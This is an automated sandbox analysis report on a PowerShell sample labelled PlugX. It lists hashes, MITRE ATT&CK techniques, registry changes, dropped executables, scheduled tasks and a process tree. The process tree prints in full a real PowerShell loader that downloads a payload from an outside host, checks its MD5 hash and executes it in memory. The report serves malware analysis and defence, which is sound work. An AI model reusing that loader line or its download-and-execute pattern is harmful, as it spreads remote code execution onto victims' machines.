plugx | 608538fcefef29626896925675428811db363e0870f193d253bd7319d264ca7f

Analysis

max time kernel
150s
max time network
141s
platform
windows10_x64
resource
win10v20210410
submitted
07-05-2021 16:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a.ps1
Size

8KB
MD5

5999be483bae2a132bc4554620e37cfc
SHA1

bbd9c4dd37b2cd310618ab5f0e5fa56d66ee69aa
SHA256

608538fcefef29626896925675428811db363e0870f193d253bd7319d264ca7f
SHA512

50f507f08e64b171da7f725a6bed7ccc0def006e6da0f3ac97feeb7323ffd699b0228cc1fb7c7c897db90762686a559a5c803373d7eedb61f635c20d0ee253fa

Score

10^/10

plugx evasion trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://t.ntele.net

Signatures

PlugX
PlugX is a RAT (Remote Access Trojan) that has been around since 2008.
trojan plugx
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

56 1824 powershell.exe
Executes dropped EXE 6 IoCs

Processes:

sO2Rkj.exesO2Rkj.exesO2Rkj.exelsso.exelsso.exelsso.exe

pid process

3008 sO2Rkj.exe
660 sO2Rkj.exe
4108 sO2Rkj.exe
2332 lsso.exe
5008 lsso.exe
1620 lsso.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 7 IoCs

Processes:

lsso.exelsso.exelsso.exe

pid process

2332 lsso.exe
2332 lsso.exe
2332 lsso.exe
5008 lsso.exe
5008 lsso.exe
1620 lsso.exe
1620 lsso.exe
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

128 api.ipify.org
129 api.ipify.org

flow	pid	process
56	1824	powershell.exe

pid	process
3008	sO2Rkj.exe
660	sO2Rkj.exe
4108	sO2Rkj.exe
2332	lsso.exe
5008	lsso.exe
1620	lsso.exe

pid	process
2332	lsso.exe
2332	lsso.exe
2332	lsso.exe
5008	lsso.exe
5008	lsso.exe
1620	lsso.exe
1620	lsso.exe

flow	ioc
128	api.ipify.org
129	api.ipify.org

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\System32\Windowspowershell\V1.0\sO2Rkj.exe	powershell.exe
File opened for modification	C:\Windows\System32\Windowspowershell\V1.0\sO2Rkj.exe	powershell.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	Taskmgr.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4304 schtasks.exe
4332 schtasks.exe
Gathers network information 2 TTPs 6 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exeNETSTAT.EXENETSTAT.EXENETSTAT.EXENETSTAT.EXEipconfig.exe

pid process

1864 ipconfig.exe
5324 NETSTAT.EXE
4728 NETSTAT.EXE
4940 NETSTAT.EXE
5044 NETSTAT.EXE
2184 ipconfig.exe

pid	process
4304	schtasks.exe
4332	schtasks.exe

pid	process
1864	ipconfig.exe
5324	NETSTAT.EXE
4728	NETSTAT.EXE
4940	NETSTAT.EXE
5044	NETSTAT.EXE
2184	ipconfig.exe

Modifies data under HKEY_USERS 42 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exesO2Rkj.exesO2Rkj.exesO2Rkj.exe

pid	process
1824	powershell.exe
1824	powershell.exe
1824	powershell.exe
3008	sO2Rkj.exe
3008	sO2Rkj.exe
660	sO2Rkj.exe
660	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
3008	sO2Rkj.exe
660	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe
4108	sO2Rkj.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Taskmgr.exe

pid process

2312 Taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeIncreaseQuotaPrivilege	1824	powershell.exe
Token: SeSecurityPrivilege	1824	powershell.exe
Token: SeTakeOwnershipPrivilege	1824	powershell.exe
Token: SeLoadDriverPrivilege	1824	powershell.exe
Token: SeSystemProfilePrivilege	1824	powershell.exe
Token: SeSystemtimePrivilege	1824	powershell.exe
Token: SeProfSingleProcessPrivilege	1824	powershell.exe
Token: SeIncBasePriorityPrivilege	1824	powershell.exe
Token: SeCreatePagefilePrivilege	1824	powershell.exe
Token: SeBackupPrivilege	1824	powershell.exe
Token: SeRestorePrivilege	1824	powershell.exe
Token: SeShutdownPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeSystemEnvironmentPrivilege	1824	powershell.exe
Token: SeRemoteShutdownPrivilege	1824	powershell.exe
Token: SeUndockPrivilege	1824	powershell.exe
Token: SeManageVolumePrivilege	1824	powershell.exe
Token: 33	1824	powershell.exe
Token: 34	1824	powershell.exe
Token: 35	1824	powershell.exe
Token: 36	1824	powershell.exe
Token: SeIncreaseQuotaPrivilege	1824	powershell.exe
Token: SeSecurityPrivilege	1824	powershell.exe
Token: SeTakeOwnershipPrivilege	1824	powershell.exe
Token: SeLoadDriverPrivilege	1824	powershell.exe
Token: SeSystemProfilePrivilege	1824	powershell.exe
Token: SeSystemtimePrivilege	1824	powershell.exe
Token: SeProfSingleProcessPrivilege	1824	powershell.exe
Token: SeIncBasePriorityPrivilege	1824	powershell.exe
Token: SeCreatePagefilePrivilege	1824	powershell.exe
Token: SeBackupPrivilege	1824	powershell.exe
Token: SeRestorePrivilege	1824	powershell.exe
Token: SeShutdownPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeSystemEnvironmentPrivilege	1824	powershell.exe
Token: SeRemoteShutdownPrivilege	1824	powershell.exe
Token: SeUndockPrivilege	1824	powershell.exe
Token: SeManageVolumePrivilege	1824	powershell.exe
Token: 33	1824	powershell.exe
Token: 34	1824	powershell.exe
Token: 35	1824	powershell.exe
Token: 36	1824	powershell.exe
Token: SeIncreaseQuotaPrivilege	1824	powershell.exe
Token: SeSecurityPrivilege	1824	powershell.exe
Token: SeTakeOwnershipPrivilege	1824	powershell.exe
Token: SeLoadDriverPrivilege	1824	powershell.exe
Token: SeSystemProfilePrivilege	1824	powershell.exe
Token: SeSystemtimePrivilege	1824	powershell.exe
Token: SeProfSingleProcessPrivilege	1824	powershell.exe
Token: SeIncBasePriorityPrivilege	1824	powershell.exe
Token: SeCreatePagefilePrivilege	1824	powershell.exe
Token: SeBackupPrivilege	1824	powershell.exe
Token: SeRestorePrivilege	1824	powershell.exe
Token: SeShutdownPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeSystemEnvironmentPrivilege	1824	powershell.exe
Token: SeRemoteShutdownPrivilege	1824	powershell.exe
Token: SeUndockPrivilege	1824	powershell.exe
Token: SeManageVolumePrivilege	1824	powershell.exe
Token: 33	1824	powershell.exe
Token: 34	1824	powershell.exe
Token: 35	1824	powershell.exe
Token: 36	1824	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

Taskmgr.exesO2Rkj.exe

pid	process
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
4108	sO2Rkj.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

Taskmgr.exe

pid	process
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

powershell.execmd.execmd.execmd.exesO2Rkj.exesc.exe

description	pid	process	target process
PID 1824 wrote to memory of 2352	1824	powershell.exe	cmd.exe
PID 1824 wrote to memory of 2352	1824	powershell.exe	cmd.exe
PID 2352 wrote to memory of 2688	2352	cmd.exe	cmd.exe
PID 2352 wrote to memory of 2688	2352	cmd.exe	cmd.exe
PID 2352 wrote to memory of 3008	2352	cmd.exe	sO2Rkj.exe
PID 2352 wrote to memory of 3008	2352	cmd.exe	sO2Rkj.exe
PID 1824 wrote to memory of 3936	1824	powershell.exe	cmd.exe
PID 1824 wrote to memory of 3936	1824	powershell.exe	cmd.exe
PID 1824 wrote to memory of 3864	1824	powershell.exe	cmd.exe
PID 1824 wrote to memory of 3864	1824	powershell.exe	cmd.exe
PID 3936 wrote to memory of 3944	3936	cmd.exe	cmd.exe
PID 3936 wrote to memory of 3944	3936	cmd.exe	cmd.exe
PID 3936 wrote to memory of 660	3936	cmd.exe	sO2Rkj.exe
PID 3936 wrote to memory of 660	3936	cmd.exe	sO2Rkj.exe
PID 3864 wrote to memory of 412	3864	cmd.exe	cmd.exe
PID 3864 wrote to memory of 412	3864	cmd.exe	cmd.exe
PID 3864 wrote to memory of 4108	3864	cmd.exe	sO2Rkj.exe
PID 3864 wrote to memory of 4108	3864	cmd.exe	sO2Rkj.exe
PID 1824 wrote to memory of 4304	1824	powershell.exe	schtasks.exe
PID 1824 wrote to memory of 4304	1824	powershell.exe	schtasks.exe
PID 1824 wrote to memory of 4332	1824	powershell.exe	sc.exe
PID 1824 wrote to memory of 4332	1824	powershell.exe	sc.exe
PID 1824 wrote to memory of 4372	1824	powershell.exe	schtasks.exe
PID 1824 wrote to memory of 4372	1824	powershell.exe	schtasks.exe
PID 4108 wrote to memory of 4412	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4412	4108	sO2Rkj.exe	sc.exe
PID 4412 wrote to memory of 4444	4412	sc.exe	sc.exe
PID 4412 wrote to memory of 4444	4412	sc.exe	sc.exe
PID 4108 wrote to memory of 4488	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4488	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4524	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4524	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4564	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4564	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4624	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4624	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4696	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4696	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4728	4108	sO2Rkj.exe	NETSTAT.EXE
PID 4108 wrote to memory of 4728	4108	sO2Rkj.exe	NETSTAT.EXE
PID 4108 wrote to memory of 4768	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4768	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4800	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4800	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4836	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4836	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4872	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4872	4108	sO2Rkj.exe	nslookup.exe
PID 4108 wrote to memory of 4908	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4908	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4940	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4940	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4972	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4972	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4992	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 4992	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5012	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5012	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5032	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5032	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5052	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5052	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5072	4108	sO2Rkj.exe	sc.exe
PID 4108 wrote to memory of 5072	4108	sO2Rkj.exe	sc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a.ps1
1⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='842c31c85b972db52eba0e2470e87184';$ifp=$env:tmp+'\if.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/if.bin?^^^&RJMQBVDN^^^&00000000-0000-0000-0000-000000000000^^^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}IEX(-join[char[]]$con)|sO2Rkj.exe -
2⤵
- Suspicious use of WriteProcessMemory
PID:2352

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='842c31c85b972db52eba0e2470e87184';$ifp=$env:tmp+'\if.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/if.bin?^&RJMQBVDN^&00000000-0000-0000-0000-000000000000^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}IEX(-join[char[]]$con)"
3⤵
PID:2688

C:\Windows\System32\WindowsPowerShell\v1.0\sO2Rkj.exe
sO2Rkj.exe -
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3008

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z140u5tq\z140u5tq.cmdline"
4⤵
PID:5440

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77B1.tmp" "c:\Users\Admin\AppData\Local\Temp\z140u5tq\CSC45B728E41CE47BCAC535F8C9F819FF5.TMP"
5⤵
PID:5656

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\53jwwbcb\53jwwbcb.cmdline"
4⤵
PID:5736

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7996.tmp" "c:\Users\Admin\AppData\Local\Temp\53jwwbcb\CSCECEC7031BE6B4179A3E8DABE741EB380.TMP"
5⤵
PID:5792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
4⤵
PID:5908

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ysh0epyv\ysh0epyv.cmdline"
5⤵
PID:5396

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9B66.tmp" "c:\Users\Admin\AppData\Local\Temp\ysh0epyv\CSCE4CE5227DA914B3F8022E82A1D1A5EC4.TMP"
6⤵
PID:3556

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2b2cqvmj\2b2cqvmj.cmdline"
4⤵
PID:6016

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES807B.tmp" "c:\Users\Admin\AppData\Local\Temp\2b2cqvmj\CSCF50710E3253843DA8E318D3AAF1388AD.TMP"
5⤵
PID:6052

C:\Windows\system32\whoami.exe
"C:\Windows\system32\whoami.exe" /user
4⤵
PID:5616

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iatpx2mz\iatpx2mz.cmdline"
4⤵
PID:2108

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES14DC.tmp" "c:\Users\Admin\AppData\Local\Temp\iatpx2mz\CSC54DA47EFA2E946A3AAB61605ECD9114.TMP"
5⤵
PID:3424

C:\Windows\system32\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /all
4⤵
- Gathers network information
PID:2184

C:\Windows\system32\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /displaydns
4⤵
- Gathers network information
PID:1864

C:\Windows\system32\NETSTAT.EXE
"C:\Windows\system32\NETSTAT.EXE" -ano
4⤵
- Gathers network information
PID:5324

C:\Windows\system32\cmd.exe
